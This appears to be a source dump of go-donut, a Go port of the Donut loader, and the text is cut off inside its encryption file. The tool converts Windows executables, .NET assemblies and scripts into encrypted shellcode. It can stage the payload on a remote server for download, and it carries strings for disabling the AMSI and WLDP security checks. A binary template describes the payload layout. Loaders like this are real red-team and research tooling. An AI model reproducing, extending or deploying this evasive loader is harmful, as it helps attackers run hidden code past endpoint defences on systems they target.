├── .gitignore ├── Dockerfile ├── LICENSE ├── README.md ├── donut-payload.bt ├── donut ├── donut.go ├── donut_crypt.go ├── donut_crypto_test.go ├── loader_exe_x64.go ├── loader_exe_x86.go ├── types.go └── utils.go ├── go.mod ├── go.sum └── main.go /.gitignore: -------------------------------------------------------------------------------- 1 | # Binaries for programs and plugins 2 | *.exe 3 | *.exe~ 4 | *.dll 5 | *.so 6 | *.dylib 7 | 8 | # Test binary, build with `go test -c` 9 | *.test 10 | 11 | # Output of the go coverage tool, specifically when used with LiteIDE 12 | *.out 13 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM golang:latest 2 | 3 | WORKDIR /app 4 | COPY . . 5 | 6 | RUN go get github.com/Binject/go-donut/ && go get github.com/akamensky/argparse 7 | 8 | RUN GOOS=linux GOARCH=amd64 go build -o goDonut . 9 | ENTRYPOINT [ "/bin/bash" ] 10 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2019, Binject 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | 1. Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | 2. Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | 3. Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # go-donut 2 | Donut Injector ported to pure Go. For use with https://github.com/TheWover/donut 3 | -------------------------------------------------------------------------------- /donut-payload.bt: -------------------------------------------------------------------------------- 1 | //------------------------------------------------ 2 | //--- 010 Editor v9.0.2 Binary Template 3 | // 4 | // File: donut-payload.bt 5 | // Authors: awgh 6 | // Version: 0.3 7 | // Purpose: Donut Payload 8 | // Category: Progamming 9 | // File Mask: *.bin 10 | // ID Bytes: 11 | // History: 12 | // 0.3 2020-07-27 awgh: Donut version 0.9.3 13 | // 0.2 2019-11-23 awgh: Donut version 0.9.3-rc1 14 | // 0.1 2019-10-20 awgh: Initial Revision 15 | //------------------------------------------------ 16 | 17 | DisplayFormatHex(); 18 | LittleEndian(); 19 | 20 | typedef struct { 21 | uint32 type; // EXE, DLL, JS, VBS, XSL 22 | uint32 thread; // run entrypoint of unmanaged EXE as a thread 23 | uint32 compress; // indicates engine used for compression 24 | char runtime[256]; // runtime version for .NET EXE/DLL 25 | char domain[256]; // domain name to use for .NET EXE/DLL 26 | char cls[256]; // name of class and optional namespace for .NET EXE/DLL 27 | char method[256]; // name of method to invoke for .NET DLL or api for unmanaged DLL 28 | char param[256]; // string parameters for DLL/EXE 29 | uint32 unicode; // convert command line to unicode for unmanaged DLL function 30 | char sig[8]; // random string to verify decryption 31 | uint64 mac; // to verify decryption was ok 32 | uint32 zlen; // compressed size of EXE/DLL/JS/VBS file 33 | uint32 len; // size of EXE/DLL/XSL/JS/VBS file 34 | char data[4]; // data of EXE/DLL/XSL/JS/VBS file 35 | } DONUT_MODULE; 36 | 37 | typedef struct { 38 | int len; // total size of instance 39 | char key_mk[16]; // decrypts instance 40 | char key_ctr[16]; 41 | uint64 iv; // the 64-bit initial value for maru hash 42 | 43 | int pad; 44 | 45 | union { 46 | uint64 hash[64]; // holds up to 64 api hashes 47 | uint64 addr[64]; // holds up to 64 api addresses 48 | /* 49 | // include prototypes only if header included from payload.h 50 | struct { 51 | // imports from kernel32.dll or kernelbase.dll 52 | LoadLibraryA_t LoadLibraryA; 53 | GetProcAddress_t GetProcAddress; 54 | GetModuleHandleA_t GetModuleHandleA; 55 | VirtualAlloc_t VirtualAlloc; // required to allocate RW memory for instance 56 | VirtualFree_t VirtualFree; 57 | VirtualQuery_t VirtualQuery; 58 | VirtualProtect_t VirtualProtect; 59 | Sleep_t Sleep; 60 | MultiByteToWideChar_t MultiByteToWideChar; 61 | GetUserDefaultLCID_t GetUserDefaultLCID; 62 | WaitForSingleObject_t WaitForSingleObject; 63 | CreateThread_t CreateThread; 64 | GetThreadContext_t GetThreadContext; 65 | GetCurrentThread_t GetCurrentThread; 66 | GetCommandLineA_t GetCommandLineA; 67 | GetCommandLineW_t GetCommandLineW; 68 | 69 | // imports from shell32.dll 70 | CommandLineToArgvW_t CommandLineToArgvW; 71 | 72 | // imports from oleaut32.dll 73 | SafeArrayCreate_t SafeArrayCreate; 74 | SafeArrayCreateVector_t SafeArrayCreateVector; 75 | SafeArrayPutElement_t SafeArrayPutElement; 76 | SafeArrayDestroy_t SafeArrayDestroy; 77 | SafeArrayGetLBound_t SafeArrayGetLBound; 78 | SafeArrayGetUBound_t SafeArrayGetUBound; 79 | SysAllocString_t SysAllocString; 80 | SysFreeString_t SysFreeString; 81 | LoadTypeLib_t LoadTypeLib; 82 | 83 | // imports from wininet.dll 84 | InternetCrackUrl_t InternetCrackUrl; 85 | InternetOpen_t InternetOpen; 86 | InternetConnect_t InternetConnect; 87 | InternetSetOption_t InternetSetOption; 88 | InternetReadFile_t InternetReadFile; 89 | InternetCloseHandle_t InternetCloseHandle; 90 | HttpOpenRequest_t HttpOpenRequest; 91 | HttpSendRequest_t HttpSendRequest; 92 | HttpQueryInfo_t HttpQueryInfo; 93 | 94 | // imports from mscoree.dll 95 | CorBindToRuntime_t CorBindToRuntime; 96 | CLRCreateInstance_t CLRCreateInstance; 97 | 98 | // imports from ole32.dll 99 | CoInitializeEx_t CoInitializeEx; 100 | CoCreateInstance_t CoCreateInstance; 101 | CoUninitialize_t CoUninitialize; 102 | 103 | // imports from ntdll.dll 104 | RtlEqualUnicodeString_t RtlEqualUnicodeString; 105 | RtlEqualString_t RtlEqualString; 106 | RtlUnicodeStringToAnsiString_t RtlUnicodeStringToAnsiString; 107 | RtlInitUnicodeString_t RtlInitUnicodeString; 108 | RtlExitUserThread_t RtlExitUserThread; 109 | RtlExitUserProcess_t RtlExitUserProcess; 110 | RtlCreateUnicodeString_t RtlCreateUnicodeString; 111 | RtlGetCompressionWorkSpaceSize_t RtlGetCompressionWorkSpaceSize; 112 | RtlDecompressBuffer_t RtlDecompressBuffer; 113 | NtContinue_t NtContinue; 114 | AddVectoredExceptionHandler_t AddVectoredExceptionHandler; 115 | RemoveVectoredExceptionHandler_t RemoveVectoredExceptionHandler; 116 | // RtlFreeUnicodeString_t RtlFreeUnicodeString; 117 | // RtlFreeString_t RtlFreeString; 118 | }; 119 | */ 120 | } api; 121 | 122 | int exit_opt; // call RtlExitUserProcess to terminate the host process 123 | int entropy; // indicates entropt option 124 | uint64 oep; // original entrypoint 125 | 126 | // everything from here is encrypted 127 | int api_cnt; // the 64-bit hashes of API required for instance to work 128 | char dll_names[256]; // a list of DLL strings to load, semi-colon separated 129 | 130 | char dataname[8]; // ".data" 131 | char kernelbase[12]; // "kernelbase" 132 | char amsi[8]; // "amsi" 133 | char clr[4]; // clr 134 | char wldp[8]; // wldp 135 | 136 | char cmd_syms[256]; // symbols related to command line 137 | char exit_api[256]; // exit-related API 138 | 139 | int bypass; // indicates behaviour of byassing AMSI/WLDP 140 | char wldpQuery[32]; // WldpQueryDynamicCodeTrust 141 | char wldpIsApproved[32]; // WldpIsClassInApprovedList 142 | char amsiInit[16]; // AmsiInitialize 143 | char amsiScanBuf[16]; // AmsiScanBuffer 144 | char amsiScanStr[16]; // AmsiScanString 145 | 146 | char wscript[8]; // WScript 147 | char wscript_exe[12]; // wscript.exe 148 | 149 | char xIID_IUnknown[16]; 150 | char xIID_IDispatch[16]; 151 | 152 | // GUID required to load .NET assemblies 153 | char xCLSID_CLRMetaHost[16]; 154 | char xIID_ICLRMetaHost[16]; 155 | char xIID_ICLRRuntimeInfo[16]; 156 | char xCLSID_CorRuntimeHost[16]; 157 | char xIID_ICorRuntimeHost[16]; 158 | char xIID_AppDomain[16]; 159 | 160 | // GUID required to run VBS and JS files 161 | char xCLSID_ScriptLanguage[16]; // vbs or js 162 | char xIID_IHost[16]; // wscript object 163 | char xIID_IActiveScript[16]; // engine 164 | char xIID_IActiveScriptSite[16]; // implementation 165 | char xIID_IActiveScriptSiteWindow[16]; // basic GUI stuff 166 | char xIID_IActiveScriptParse32[16]; // parser 167 | char xIID_IActiveScriptParse64[16]; 168 | 169 | int type; // DONUT_INSTANCE_PIC or DONUT_INSTANCE_URL 170 | 171 | struct { 172 | char url[256]; // staging server hosting donut module 173 | char req[8]; // just a buffer for "GET" 174 | } http; 175 | 176 | char sig[256]; // string to hash 177 | uint64 mac; // to verify decryption ok 178 | 179 | char mod_key_mk[16]; // used to decrypt module 180 | char mod_key_ctr[16]; 181 | 182 | uint64 mod_len; // total size of module 183 | 184 | DONUT_MODULE module; // for PIC 185 | 186 | } DONUT_INSTANCE; 187 | 188 | 189 | 190 | SetBackColor(0xc0ffff); 191 | char e8; 192 | int instanceLength; 193 | DONUT_INSTANCE instance; -------------------------------------------------------------------------------- /donut/donut.go: -------------------------------------------------------------------------------- 1 | package donut 2 | 3 | import ( 4 | "bytes" 5 | "encoding/binary" 6 | "io/ioutil" 7 | "log" 8 | "path/filepath" 9 | "strings" 10 | 11 | "github.com/Binject/debug/pe" 12 | ) 13 | 14 | /* 15 | This code imports PE files and converts them to shellcode using the algorithm and stubs taken 16 | from the donut loader: https://github.com/TheWover/donut 17 | 18 | You can also use the native-code donut tools to do this conversion. 19 | 20 | This has the donut stubs hard-coded as arrays, so if something rots, 21 | try updating the stubs to latest donut first. 22 | */ 23 | 24 | // ShellcodeFromURL - Downloads a PE from URL, makes shellcode 25 | func ShellcodeFromURL(fileURL string, config *DonutConfig) (*bytes.Buffer, error) { 26 | buf, err := DownloadFile(fileURL) 27 | if err != nil { 28 | return nil, err 29 | } 30 | // todo: set things up in config 31 | return ShellcodeFromBytes(buf, config) 32 | } 33 | 34 | // DetectDotNet - returns true if a .NET assembly. 2nd return value is detected version string. 35 | func DetectDotNet(filename string) (bool, string) { 36 | // auto-detect .NET assemblies and version 37 | pefile, err := pe.Open(filename) 38 | if err != nil { 39 | return false, "" 40 | } 41 | defer pefile.Close() 42 | return pefile.IsManaged(), pefile.NetCLRVersion() 43 | } 44 | 45 | // ShellcodeFromFile - Loads PE from file, makes shellcode 46 | func ShellcodeFromFile(filename string, config *DonutConfig) (*bytes.Buffer, error) { 47 | 48 | switch strings.ToLower(filepath.Ext(filename)) { 49 | case ".exe": 50 | dotNetMode, dotNetVersion := DetectDotNet(filename) 51 | if dotNetMode { 52 | config.Type = DONUT_MODULE_NET_EXE 53 | } else { 54 | config.Type = DONUT_MODULE_EXE 55 | } 56 | if dotNetVersion != "" && config.Runtime == "" { 57 | config.Runtime = dotNetVersion 58 | } 59 | case ".dll": 60 | dotNetMode, dotNetVersion := DetectDotNet(filename) 61 | if dotNetMode { 62 | config.Type = DONUT_MODULE_NET_DLL 63 | } else { 64 | config.Type = DONUT_MODULE_DLL 65 | } 66 | if dotNetVersion != "" && config.Runtime == "" { 67 | config.Runtime = dotNetVersion 68 | } 69 | case ".xsl": 70 | config.Type = DONUT_MODULE_XSL 71 | case ".js": 72 | config.Type = DONUT_MODULE_JS 73 | case ".vbs": 74 | config.Type = DONUT_MODULE_VBS 75 | } 76 | 77 | b, err := ioutil.ReadFile(filename) 78 | if err != nil { 79 | return nil, err 80 | } 81 | return ShellcodeFromBytes(bytes.NewBuffer(b), config) 82 | } 83 | 84 | // ShellcodeFromBytes - Passed a PE as byte array, makes shellcode 85 | func ShellcodeFromBytes(buf *bytes.Buffer, config *DonutConfig) (*bytes.Buffer, error) { 86 | 87 | if err := CreateModule(config, buf); err != nil { 88 | return nil, err 89 | } 90 | instance, err := CreateInstance(config) 91 | if err != nil { 92 | return nil, err 93 | } 94 | // If the module will be stored on a remote server 95 | if config.InstType == DONUT_INSTANCE_URL { 96 | if config.Verbose { 97 | log.Printf("Saving %s to disk.\n", config.ModuleName) 98 | } 99 | 100 | // save the module to disk using random name 101 | instance.Write([]byte{0, 0, 0, 0, 0, 0, 0, 0}) // mystery padding 102 | config.ModuleData.Write([]byte{0, 0, 0, 0, 0, 0, 0, 0}) // mystery padding 103 | ioutil.WriteFile(config.ModuleName, config.ModuleData.Bytes(), 0644) 104 | } 105 | //ioutil.WriteFile("newinst.bin", instance.Bytes(), 0644) 106 | return Sandwich(config.Arch, instance) 107 | } 108 | 109 | // Sandwich - adds the donut prefix in the beginning (stomps DOS header), then payload, then donut stub at the end 110 | func Sandwich(arch DonutArch, payload *bytes.Buffer) (*bytes.Buffer, error) { 111 | /* 112 | Disassembly: 113 | 0: e8 call $+ 114 | 1: xx xx xx xx instance length 115 | 5: [instance] 116 | x=5+instanceLen: 0x59 pop ecx 117 | x+1: stub preamble + stub (either 32 or 64 bit or both) 118 | */ 119 | 120 | w := new(bytes.Buffer) 121 | instanceLen := uint32(payload.Len()) 122 | w.WriteByte(0xE8) 123 | binary.Write(w, binary.LittleEndian, instanceLen) 124 | if _, err := payload.WriteTo(w); err != nil { 125 | return nil, err 126 | } 127 | w.WriteByte(0x59) 128 | 129 | picLen := int(instanceLen) + 32 130 | 131 | switch arch { 132 | case X32: 133 | w.WriteByte(0x5A) // preamble: pop edx, push ecx, push edx 134 | w.WriteByte(0x51) 135 | w.WriteByte(0x52) 136 | w.Write(LOADER_EXE_X86) 137 | picLen += len(LOADER_EXE_X86) 138 | case X64: 139 | w.Write(LOADER_EXE_X64) 140 | picLen += len(LOADER_EXE_X64) 141 | case X84: 142 | w.WriteByte(0x31) // preamble: xor eax,eax 143 | w.WriteByte(0xC0) 144 | w.WriteByte(0x48) // dec ecx 145 | w.WriteByte(0x0F) // js dword x86_code (skips length of x64 code) 146 | w.WriteByte(0x88) 147 | binary.Write(w, binary.LittleEndian, uint32(len(LOADER_EXE_X64))) 148 | w.Write(LOADER_EXE_X64) 149 | 150 | w.Write([]byte{0x5A, // in between 32/64 stubs: pop edx 151 | 0x51, // push ecx 152 | 0x52}) // push edx 153 | w.Write(LOADER_EXE_X86) 154 | picLen += len(LOADER_EXE_X86) 155 | picLen += len(LOADER_EXE_X64) 156 | } 157 | 158 | lb := w.Len() 159 | for i := 0; i < picLen-lb; i++ { 160 | w.WriteByte(0x0) 161 | } 162 | 163 | return w, nil 164 | } 165 | 166 | // CreateModule - Creates the Donut Module from Config 167 | func CreateModule(config *DonutConfig, inputFile *bytes.Buffer) error { 168 | 169 | mod := new(DonutModule) 170 | mod.ModType = uint32(config.Type) 171 | mod.Thread = uint32(config.Thread) 172 | mod.Unicode = uint32(config.Unicode) 173 | mod.Compress = uint32(config.Compress) 174 | 175 | if config.Type == DONUT_MODULE_NET_DLL || 176 | config.Type == DONUT_MODULE_NET_EXE { 177 | if config.Domain == "" && config.Entropy != DONUT_ENTROPY_NONE { // If no domain name specified, generate a random one 178 | config.Domain = RandomString(DONUT_DOMAIN_LEN) 179 | } else { 180 | config.Domain = "AAAAAAAA" 181 | } 182 | copy(mod.Domain[:], []byte(config.Domain)[:]) 183 | 184 | if config.Type == DONUT_MODULE_NET_DLL { 185 | if config.Verbose { 186 | log.Println("Class:", config.Class) 187 | } 188 | copy(mod.Cls[:], []byte(config.Class)[:]) 189 | if config.Verbose { 190 | log.Println("Method:", config.Method) 191 | } 192 | copy(mod.Method[:], []byte(config.Method)[:]) 193 | } 194 | // If no runtime specified in configuration, use default 195 | if config.Runtime == "" { 196 | config.Runtime = "v2.0.50727" 197 | } 198 | if config.Verbose { 199 | log.Println("Runtime:", config.Runtime) 200 | } 201 | copy(mod.Runtime[:], []byte(config.Runtime)[:]) 202 | } else if config.Type == DONUT_MODULE_DLL && config.Method != "" { // Unmanaged DLL? check for exported api 203 | if config.Verbose { 204 | log.Println("DLL function:", config.Method) 205 | } 206 | copy(mod.Method[:], []byte(config.Method)) 207 | } 208 | mod.Zlen = 0 // todo: support compression 209 | mod.Len = uint32(inputFile.Len()) 210 | 211 | if config.Parameters != "" { 212 | // if type is unmanaged EXE 213 | if config.Type == DONUT_MODULE_EXE { 214 | // and entropy is enabled 215 | if config.Entropy != DONUT_ENTROPY_NONE { 216 | // generate random name 217 | copy(mod.Param[:], []byte(RandomString(DONUT_DOMAIN_LEN) + " ")[:]) 218 | copy(mod.Param[DONUT_DOMAIN_LEN+1:], []byte(config.Parameters)[:]) 219 | } else { 220 | // else set to "AAAA " 221 | copy(mod.Param[:], []byte("AAAAAAAA ")[:]) 222 | copy(mod.Param[9:], []byte(config.Parameters)[:]) 223 | } 224 | } else { 225 | copy(mod.Param[:], []byte(config.Parameters)[:]) 226 | } 227 | } 228 | 229 | // read module into memory 230 | b := new(bytes.Buffer) 231 | mod.WriteTo(b) 232 | inputFile.WriteTo(b) 233 | config.ModuleData = b 234 | 235 | // update configuration with pointer to module 236 | config.Module = mod 237 | return nil 238 | } 239 | 240 | // CreateInstance - Creates the Donut Instance from Config 241 | func CreateInstance(config *DonutConfig) (*bytes.Buffer, error) { 242 | 243 | inst := new(DonutInstance) 244 | modLen := uint32(config.ModuleData.Len()) // ModuleData is mod struct + input file 245 | instLen := uint32(3312 + 352 + 8) //todo: that's how big it is in the C version... 246 | inst.Bypass = uint32(config.Bypass) 247 | 248 | // if this is a PIC instance, add the size of module 249 | // that will be appended to the end of structure 250 | if config.InstType == DONUT_INSTANCE_PIC { 251 | if config.Verbose { 252 | log.Printf("The size of module is %v bytes. Adding to size of instance.\n", modLen) 253 | } 254 | instLen += modLen 255 | } 256 | 257 | if config.Entropy == DONUT_ENTROPY_DEFAULT { 258 | if config.Verbose { 259 | log.Println("Generating random key for instance") 260 | } 261 | tk, err := GenerateRandomBytes(16) 262 | if err != nil { 263 | return nil, err 264 | } 265 | copy(inst.KeyMk[:], tk) 266 | 267 | tk, err = GenerateRandomBytes(16) 268 | if err != nil { 269 | return nil, err 270 | } 271 | copy(inst.KeyCtr[:], tk) 272 | 273 | if config.Verbose { 274 | log.Println("Generating random key for module") 275 | } 276 | tk, err = GenerateRandomBytes(16) 277 | if err != nil { 278 | return nil, err 279 | } 280 | copy(inst.ModKeyMk[:], tk) 281 | 282 | tk, err = GenerateRandomBytes(16) 283 | if err != nil { 284 | return nil, err 285 | } 286 | copy(inst.ModKeyCtr[:], tk) 287 | 288 | if config.Verbose { 289 | log.Println("Generating random string to verify decryption") 290 | } 291 | sbsig := RandomString(DONUT_SIG_LEN) 292 | copy(inst.Sig[:], []byte(sbsig)) 293 | 294 | if config.Verbose { 295 | log.Println("Generating random IV for Maru hash") 296 | } 297 | iv, err := GenerateRandomBytes(MARU_IV_LEN) 298 | if err != nil { 299 | return nil, err 300 | } 301 | inst.Iv = binary.LittleEndian.Uint64(iv) 302 | 303 | inst.Mac = Maru(inst.Sig[:], inst.Iv) 304 | } 305 | if config.Verbose { 306 | log.Println("Generating hashes for API using IV:", inst.Iv) 307 | } 308 | 309 | for cnt, c := range api_imports { 310 | // calculate hash for DLL string 311 | dllHash := Maru([]byte(c.Module), inst.Iv) 312 | 313 | // calculate hash for API string. 314 | // xor with DLL hash and store in instance 315 | inst.Hash[cnt] = Maru([]byte(c.Name), inst.Iv) ^ dllHash 316 | 317 | if config.Verbose { 318 | log.Printf("Hash for %s : %s = %x\n", 319 | c.Module, 320 | c.Name, 321 | inst.Hash[cnt]) 322 | } 323 | } 324 | // save how many API to resolve 325 | inst.ApiCount = uint32(len(api_imports)) 326 | copy(inst.DllNames[:], "ole32;oleaut32;wininet;mscoree;shell32") 327 | 328 | // if module is .NET assembly 329 | if config.Type == DONUT_MODULE_NET_DLL || 330 | config.Type == DONUT_MODULE_NET_EXE { 331 | if config.Verbose { 332 | log.Println("Copying GUID structures and DLL strings for loading .NET assemblies") 333 | } 334 | copy(inst.XIID_AppDomain[:], xIID_AppDomain[:]) 335 | copy(inst.XIID_ICLRMetaHost[:], xIID_ICLRMetaHost[:]) 336 | copy(inst.XCLSID_CLRMetaHost[:], xCLSID_CLRMetaHost[:]) 337 | copy(inst.XIID_ICLRRuntimeInfo[:], xIID_ICLRRuntimeInfo[:]) 338 | copy(inst.XIID_ICorRuntimeHost[:], xIID_ICorRuntimeHost[:]) 339 | copy(inst.XCLSID_CorRuntimeHost[:], xCLSID_CorRuntimeHost[:]) 340 | } else if config.Type == DONUT_MODULE_VBS || 341 | config.Type == DONUT_MODULE_JS { 342 | 343 | if config.Verbose { 344 | log.Println("Copying GUID structures and DLL strings for loading VBS/JS") 345 | } 346 | 347 | copy(inst.XIID_IUnknown[:], xIID_IUnknown[:]) 348 | copy(inst.XIID_IDispatch[:], xIID_IDispatch[:]) 349 | copy(inst.XIID_IHost[:], xIID_IHost[:]) 350 | copy(inst.XIID_IActiveScript[:], xIID_IActiveScript[:]) 351 | copy(inst.XIID_IActiveScriptSite[:], xIID_IActiveScriptSite[:]) 352 | copy(inst.XIID_IActiveScriptSiteWindow[:], xIID_IActiveScriptSiteWindow[:]) 353 | copy(inst.XIID_IActiveScriptParse32[:], xIID_IActiveScriptParse32[:]) 354 | copy(inst.XIID_IActiveScriptParse64[:], xIID_IActiveScriptParse64[:]) 355 | 356 | copy(inst.Wscript[:], "WScript") 357 | copy(inst.Wscript_exe[:], "wscript.exe") 358 | 359 | if config.Type == DONUT_MODULE_VBS { 360 | copy(inst.XCLSID_ScriptLanguage[:], xCLSID_VBScript[:]) 361 | } else { 362 | copy(inst.XCLSID_ScriptLanguage[:], xCLSID_JScript[:]) 363 | } 364 | } 365 | 366 | // required to disable AMSI 367 | copy(inst.Clr[:], "clr") 368 | copy(inst.Amsi[:], "amsi") 369 | copy(inst.AmsiInit[:], "AmsiInitialize") 370 | copy(inst.AmsiScanBuf[:], "AmsiScanBuffer") 371 | copy(inst.AmsiScanStr[:], "AmsiScanString") 372 | 373 | // stuff for PE loader 374 | if len(config.Parameters) > 0 { 375 | copy(inst.Dataname[:], ".data") 376 | copy(inst.Kernelbase[:], "kernelbase") 377 | 378 | copy(inst.CmdSyms[:], 379 | "_acmdln;__argv;__p__acmdln;__p___argv;_wcmdln;__wargv;__p__wcmdln;__p___wargv") 380 | } 381 | if config.Thread != 0 { 382 | copy(inst.ExitApi[:], "ExitProcess;exit;_exit;_cexit;_c_exit;quick_exit;_Exit") 383 | } 384 | // required to disable WLDP 385 | copy(inst.Wldp[:], "wldp") 386 | copy(inst.WldpQuery[:], "WldpQueryDynamicCodeTrust") 387 | copy(inst.WldpIsApproved[:], "WldpIsClassInApprovedList") 388 | 389 | // set the type of instance we're creating 390 | inst.Type = uint32(int(config.InstType)) 391 | 392 | // indicate if we should call RtlExitUserProcess to terminate host process 393 | inst.ExitOpt = config.ExitOpt 394 | // set the fork option 395 | inst.OEP = config.OEP 396 | // set the entropy level 397 | inst.Entropy = config.Entropy 398 | 399 | // if the module will be downloaded 400 | // set the URL parameter and request verb 401 | if inst.Type == DONUT_INSTANCE_URL { 402 | if config.ModuleName != "" { 403 | if config.Entropy != DONUT_ENTROPY_NONE { 404 | // generate a random name for module 405 | // that will be saved to disk 406 | config.ModuleName = RandomString(DONUT_MAX_MODNAME) 407 | if config.Verbose { 408 | log.Println("Generated random name for module :", config.ModuleName) 409 | } 410 | } else { 411 | config.ModuleName = "AAAAAAAA" 412 | } 413 | } 414 | if config.Verbose { 415 | log.Println("Setting URL parameters") 416 | } 417 | // append module name 418 | copy(inst.Url[:], config.URL+"/"+config.ModuleName) 419 | // set the request verb 420 | copy(inst.Req[:], "GET") 421 | if config.Verbose { 422 | log.Println("Payload will attempt download from:", string(inst.Url[:])) 423 | } 424 | } 425 | 426 | inst.Mod_len = uint64(modLen) + 8 //todo: this 8 is from alignment I think? 427 | inst.Len = instLen 428 | config.inst = inst 429 | config.instLen = instLen 430 | 431 | if config.InstType == DONUT_INSTANCE_URL && config.Entropy == DONUT_ENTROPY_DEFAULT { 432 | if config.Verbose { 433 | log.Println("encrypting module for download") 434 | } 435 | config.ModuleMac = Maru(inst.Sig[:], inst.Iv) 436 | config.ModuleData = bytes.NewBuffer(Encrypt( 437 | inst.ModKeyMk[:], 438 | inst.ModKeyCtr[:], 439 | config.ModuleData.Bytes())) 440 | b := new(bytes.Buffer) 441 | inst.Len = instLen - 8 /* magic padding */ 442 | inst.WriteTo(b) 443 | for uint32(b.Len()) < instLen-16 /* magic padding */ { 444 | b.WriteByte(0) 445 | } 446 | return b, nil 447 | } 448 | // else if config.InstType == DONUT_INSTANCE_PIC 449 | b := new(bytes.Buffer) 450 | inst.WriteTo(b) 451 | if _, err := config.ModuleData.WriteTo(b); err != nil { 452 | log.Fatal(err) 453 | } 454 | for uint32(b.Len()) < config.instLen { 455 | b.WriteByte(0) 456 | } 457 | if config.Entropy != DONUT_ENTROPY_DEFAULT { 458 | return b, nil 459 | } 460 | if config.Verbose { 461 | log.Println("encrypting instance") 462 | } 463 | instData := b.Bytes() 464 | offset := 4 + // Len uint32 465 | CipherKeyLen + CipherBlockLen + // Instance Crypt 466 | 4 + // pad 467 | 8 + // IV 468 | (64 * 8) + // Hashes (64 uuids of len 64bit) 469 | 4 + // exit_opt 470 | 4 + // entropy 471 | 8 // OEP 472 | 473 | encInstData := Encrypt( 474 | inst.KeyMk[:], 475 | inst.KeyCtr[:], 476 | instData[offset:]) 477 | 478 | bc := new(bytes.Buffer) 479 | binary.Write(bc, binary.LittleEndian, instData[:offset]) // unencrypted header 480 | if _, err := bc.Write(encInstData); err != nil { // encrypted body 481 | log.Fatal(err) 482 | } 483 | if config.Verbose { 484 | log.Println("Leaving.") 485 | } 486 | return bc, nil 487 | } 488 | 489 | // DefaultConfig - returns a default donut config for x32+64, EXE, native binary 490 | func DefaultConfig() *DonutConfig { 491 | return &DonutConfig{ 492 | Arch: X84, 493 | Type: DONUT_MODULE_EXE, 494 | InstType: DONUT_INSTANCE_PIC, 495 | Entropy: DONUT_ENTROPY_DEFAULT, 496 | Compress: 1, 497 | Format: 1, 498 | Bypass: 3, 499 | } 500 | } 501 | -------------------------------------------------------------------------------- /donut/donut_crypt.go: -------------------------------------------------------------------------------- 1 | package donut 2 | 3 | import ( 4 | "bufio" 5 | "bytes" 6 | "encoding/binary" 7 | ) 8 | 9 | // Chaskey Implementation ported from donut 10 | 11 | const ( 12 | // CipherBlockLen - Chaskey Block Length 13 | CipherBlockLen = uint32(128 / 8) 14 | // CipherKeyLen - Chaskey Key Length 15 | CipherKeyLen = uint32(128 / 8) 16 | ) 17 | 18 | // ROTR32 - rotates a byte right (same as (32 - n) left) 19 | func ROTR32(v uint32, n uint32) uint32 { 20 | return (v >> n) | (v << (32 - n)) 21 | } 22 | 23 | // Chaskey Encryption Function 24 | func Chaskey(masterKey []byte, data []byte) []byte { 25 | // convert inputs to []uint32 26 | mk := BytesToUint32s(masterKey) 27 | p := BytesToUint32s(data) 28 | 29 | // add 128-bit master key 30 | for i := 0; i < 4; i++ { 31 | p[i] ^= mk[i] 32 | } 33 | // apply 16 rounds of permutation 34 | for i := 0; i < 16; i++ { 35 | p[0] += p[1] 36 | p[1] = ROTR32(p[1], 27) ^ p[0] 37 | p[2] += p[3] 38 | p[3] = ROTR32(p[3], 24) ^ p[2] 39 | p[2] += p[1] 40 | p[0] = ROTR32(p[0], 16) + p[3] 41 | p[3] = ROTR32(p[3], 19) ^ p[0] 42 | p[1] = ROTR32(p[1], 25) ^ p[2] 43 | p[2] = ROTR32(p[2], 16) 44 | } 45 | // add 128-bit master key 46 | for i := 0; i < 4; i++ { 47 | p[i] ^= mk[i] 48 | } 49 | // convert to []byte for XOR phase 50 | b := bytes.NewBuffer([]byte{}) 51 | w := bufio.NewWriter(b) 52 | for _, v := range p { 53 | binary.Write(w, binary.LittleEndian, v) 54 | } 55 | w.Flush() 56 | return b.Bytes() 57 | } 58 | 59 | // BytesToUint32s - converts a Byte array to an array of uint32s 60 | func BytesToUint32s(inbytes []byte) []uint32 { 61 | mb := bytes.NewBuffer(inbytes) 62 | r := bufio.NewReader(mb) 63 | var outints []uint32 64 | for i := 0; i < len(inbytes); i = i + 4 { 65 | var tb uint32 66 | binary.Read(r, binary.LittleEndian, &tb) 67 | outints = append(outints, tb) 68 | } 69 | return outints 70 | } 71 | 72 | // Encrypt - encrypt/decrypt data in counter mode 73 | func Encrypt(mk []byte, ctr []byte, data []byte) []byte { 74 | length := uint32(len(data)) 75 | x := make([]byte, CipherBlockLen) 76 | p := uint32(0) // data blocks counter 77 | retval := make([]byte, length) 78 | for length > 0 { 79 | // copy counter+nonce to local buffer 80 | copy(x[:CipherBlockLen], ctr[:CipherBlockLen]) 81 | 82 | // donut_encrypt x 83 | x = 